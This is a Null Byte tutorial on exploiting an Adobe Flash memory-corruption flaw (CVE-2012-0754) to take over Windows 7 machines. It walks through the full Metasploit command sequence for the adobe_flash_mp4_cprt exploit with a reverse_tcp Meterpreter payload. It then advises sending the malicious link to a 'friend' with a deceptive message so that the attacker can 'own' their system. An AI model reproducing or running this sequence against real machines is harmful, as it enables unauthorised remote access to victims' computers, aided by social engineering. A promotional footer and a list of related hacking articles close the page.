Hack Like a Pro: How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7 « Null Byte :: WonderHowTo

Welcome back, my greenhorn hackers!In my continuing effort to demonstrate to you how to hack the ubiquitous Windows 7, we will going after that notoriously vulnerable Adobe Flash that is on nearly every client Windows system (you are not likely to find it on servers).Flash and the other Adobe products have had a reputation for shoddy and insecure design for quite awhile now. The problem is so bad, that Apple will not allow Flash on its iOS operating system, angering many users, but keeping iOS more secure and energy efficient (when Flash crashes, it sucks up energy from the battery—and it crashes often, as we all know too well).Inan earlier tutorial, I showed you how to find vulnerabilities by using theSecurityFocusdatabase. Let's go there again and take a look at the Adobe Flash vulnerabilities.Step 1: Search VulnerabilitiesWhen we go towww.securityfocus.comand search the database for Adobe and then Flash Player, we get 8 pages of vulnerabilities with 20 vulnerabilities per page. Its obvious from this listing that Flash is riven with security problems. We could could spend weeks going through all the Adobe Flash Player vulnerabilities , but I'll leave that for you to do.If you are looking to attack a client machine on a network, you would be well-served to spend your time focused on Adobe Flash. There are so many vulnerabilities and new ones arrive daily!Step 2: Pick OneLet's take a look at one vulnerability known asCVE-2012-0754, a remote memory corruption. It was found in the wild back in February 2012 and involves using a corrupted .mp4 file to create a buffer overflow in Flash that enables the attacker to execute their own code. Note that it works for Adobe Flash Player through 11.1.When we click on the "exploit" tab at the top of the page, it takes us to a link to the exploit. We can then download or copy and paste that exploit for use.Step 3: Use MetasploitLet's open Metasploit and find the exploits built to take advantage of the Adobe Flash Player vulnerabilities. Search for "flash" using the following command.msf > search flashWhen I do so, I find numerous flash exploits, but I have highlighted the one we are using here and it corresponds to CVE-2012-0754. Now let's use it.msf > use exploit/windows/browser/adobe_flash_mp4_cprtWhen we do that, it will load the exploit into the console. Now let's get more info on it.msf > infoMetasploit returns for us some basic info on the exploit. I have highlighted the description in the screenshot above. In this info, we can also see that this exploit has 'targets". To get the most reliable results, you want to set the target.In our case here, we are going after Windows 7 with IE8 (remember, IE8 came as default on Windows 7 and is still themost widely used browser with 21.2% of the market), so we set the target to 6.msf > set target 6Step 4: Set OptionsNext we need to set our options. We can see the options by typing:msf > show optionsWe need to set the SVRHOST and the payload at a minimum. We could also set the SVRPORT, the URIPATH, and the SSL settings, but we will leave these at their defaults here.msf > set SVRHOST 192.168.1.104msf > set payload windows/meterpreter/reverse_tcpOnce we set the payload, we once again need to check options as payloads have their own set of options. When we do so, we see that we need to set the LHOST (the IP of our local host) for the meterpreter.msf > set LHOST 192.168.1.104Step 5: Exploit!With all the parameters we need set, all we need to do type:msf> exploitThis will now generate a corrupted .mp4 file and will host it on the Metasploit web server. Now we need to be creative and send that link to the victim and hope they click on it. For instance, you could send it to a "friend" saying "Hey, check out this great new hack I found on Null Byte!"When they click on it, Metasploit will send the .mp4 file to their browser creating a buffer overflow as seen below.With a bit of luck (this exploit doesn't work 100% of the time, more like 50%), you will be rewarded with the meterpreter prompt and you will own his or her system!Hacking into modern operating systems is becoming more and more difficult as Microsoft and other software vendors become more security focused. The vigilant hacker can ALWAYS find a way in, if they are persistent and creative.Sources such as SecurityFocus and other vulnerability databases (evenMicrosoft's own) are constantly logging vulnerabilities and the effective hacker simply needs to stay one step ahead of the software vendors.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)How To:Adobe Flash Player Is Bad for Your Computer (Here's How You Uninstall It)Hack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:Exploring the Inner Architecture of MetasploitHow To:Run an VNC Server on Win7Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHow To:Install Adobe Flash Player on Your Nexus 7 Running Android 4.4 KitKatHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxAdvice from a Real Hacker:How to Protect Yourself from Being HackedHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHack Like a Pro:How to Find  Exploits Using the Exploit Database in KaliHack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHow To:Hack Android Using Kali (Remotely)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:amend Adobe Flash SettingsNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreHow To:Use trashing preferences in Final Cut Pro